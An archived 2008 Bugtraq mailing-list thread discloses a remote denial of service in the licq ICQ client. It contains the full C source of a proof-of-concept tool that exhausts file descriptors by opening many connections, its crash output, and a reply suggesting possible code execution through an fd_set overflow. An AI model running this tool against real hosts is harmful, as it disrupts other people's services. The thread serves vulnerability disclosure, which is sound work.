bugtraq - Re: licq remote DoS?

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Thu, 10 Apr 2008 18:36:34 +0400
From: 3APA3A <3APA3A@...URITY.NNOV.RU>
To: Milen Rangelov <mrangelov@...bul.bg>
Cc: bugtraq@...urityfocus.com
Subject: Re: licq remote DoS?

Dear Milen Rangelov,

 Actually,  if  number  of  sockets  is  not  limited, it leads to worse
 situation of fd_set structure index overflow. This problem is described
 here:

 http://securityvulns.ru/news4400.html

 in  case  of  licq  there  is  no check for socket() number to be below
 FD_SETSIZE  and  it  leads  to  potentially  exploitable situation very
 similar  to  off-by-one  overflow  in  icqd-filetransfer.cpp, where one
 (easy) of few (harder) bits on the stack may be controlled by attacker,
 in this situation:

void *FileTransferManager_tep(void *arg)
{
  CFileTransferManager *ftman = (CFileTransferManager *)arg;

  fd_set f_recv, f_send;

....

    nSocketsAvailable = select(l, &f_recv, &f_send, NULL, tv);

attacker  can  partially  control  ftman  pointer (and may be even saved
ebp/eip), code execution is not something absolutely impossible.

--Tuesday, April 8, 2008, 5:12:56 PM, you wrote to bugtraq@...urityfocus.com:

MR> Hello, 

MR> Licq is a linux qt-based ICQ client. There is a vulnerability in the way
MR> licq processes new incoming TCP connections which can be exploited by a
MR> remote attacker to crash the client.

MR> When executed, licq opens a listening socket at a random port (AFAIK
MR> between 30000 and 65000). There is no host-based authentication and any
MR> remote host can connect to it. Those connections are not closed by licq
MR> after a given timeout period.

MR> When all possible open file descriptors are exhausted (they are limited
MR> to 1024 for non-root users in most linux installations /ulimit -n/), a
MR> new incoming TCP connection causes licq to crash.

MR> Here is some example:

MR> We run licq:
MR> gat3way@...3way:~$ licq

MR> from another console, we find out the port licq is listening to (we'd
MR> need to portscan if the target is on a remote system):

MR> gat3way@...3way:/tmp$ lsof |grep licq|grep LISTEN
MR> licq      10783    gat3way    9u     IPv4   35993218            TCP
MR> *:52259 (LISTEN)

MR> Now we run our "evil" denial of service code:
MR> gat3way@...3way:/tmp$ ./licq-break 127.0.0.1 52259
MR> ip=127.0.0.1
MR> done!

MR> and go back to the console on which we ran licq...oops..

MR> Licq Segmentation Violation Detected.
MR> Backtrace (saved in /home/gat3way/.licq//licq.backtrace):
MR> licq(licq_handle_sigabrt+0x2b4) [0x80f68d4]
MR> [0xffffe420]
MR> /lib/libc.so.6(abort+0x101) [0xb7b17811]
MR> licq [0x80f6b1d]
MR> [0xffffe420]
MR> licq(_Z18MonitorSockets_tepPv+0x3ca) [0x80c907a]
MR> /lib/libpthread.so.0 [0xb7d9e383]
MR> /lib/libc.so.6(clone+0x5e) [0xb7bc173e]
MR> Attempting to generate core file.
MR> ....

MR> The source of licq-break (nothing particular, just connects MAX sockets
MR> to a certain port at the victim's host):
MR> -------------------------

MR> #include <stdio.h>
MR> #include <unistd.h>
MR> #include <stdlib.h>
MR> #include <string.h>
MR> #include <sys/types.h>
MR> #include <sys/socket.h>
MR> #include <netinet/in.h>

MR> // change to suit your needs
MR> #define MAX 1024

MR> int fds[MAX];

MR> int main(int argc, char *argv[])
MR> {
MR>     int port,a;
MR>     char host[12];
MR>     struct sockaddr_in victim;
MR>     struct in_addr inp;

MR>     if (argc!=3)
MR>     {
MR>         printf("usage: %s <ip> <port>\n",argv[0]);
MR>         exit(1);
MR>     }

MR>     port=atoi(argv[2]);
MR>     strcpy(host,argv[1]);
MR>     printf("ip=%s\n",host);

MR>     for (a=1;a<=MAX;a++)
MR>     {
MR>         fds[a]=socket(PF_INET,SOCK_STREAM,0);
MR>         victim.sin_family= AF_INET;
MR>         victim.sin_port=htons(port);
MR>         inet_aton(host,&victim.sin_addr);
MR>         connect(fds[a],&victim,sizeof(victim));
MR>     }

MR>     printf("done!");

MR> }

-- 
~/ZARAZA http://securityvulns.com/